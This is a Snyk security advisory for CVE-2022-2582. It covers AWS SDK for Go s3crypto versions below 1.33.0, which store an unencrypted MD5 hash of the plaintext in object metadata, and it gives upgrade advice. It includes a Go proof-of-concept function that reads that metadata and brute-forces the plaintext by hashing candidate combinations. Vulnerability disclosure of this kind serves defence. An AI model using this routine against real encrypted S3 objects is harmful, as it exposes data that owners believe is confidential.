Cryptographic Issues Affecting github.com/aws/aws-sdk-go/service/s3/s3crypto package, versions <1.33.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (24th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cryptographic Issues vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMAWSAWSSDKGOSERVICES3S3CRYPTO-3121103
  • published16 Nov 2022
  • disclosed1 Jul 2022
  • creditsophieschmieg

Introduced: 1 Jul 2022

CVE-2022-2582  (opens in a new tab)
CWE-310  (opens in a new tab)

How to fix?

Upgrade github.com/aws/aws-sdk-go/service/s3/s3crypto to version 1.33.0 or higher.

Overview

github.com/aws/aws-sdk-go/service/s3/s3crypto is an AWS SDK for the Go programming language.

Affected versions of this package are vulnerable to Cryptographic Issues when it sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field, this hash can be used to brute force the plaintext if the hash is readable to the attacker.

PoC

func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
    _, header, err := input.S3Mock.GetObjectDirect(bucket, key)
    length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
    plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
    blocks := length / 16
    possiblePlaintextNum := 1
    segNum := len(input.PossiblePlaintextSegments)
    for i := 0; i < blocks; i++ {
        possiblePlaintextNum *= segNum
    }
    for i := 0; i < possiblePlaintextNum; i++ {
        w := i
        guess := ""
        for j := 0; j < blocks; j++ {
            guess += input.PossiblePlaintextSegments[w%segNum]
            w /= segNum
        }
        guessMd5 := md5.Sum([]byte(guess))
        if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
            return guess, nil
        }
    }
    return "", fmt.Errorf("No plaintext found!")
}

References

CVSS Scores

version 3.1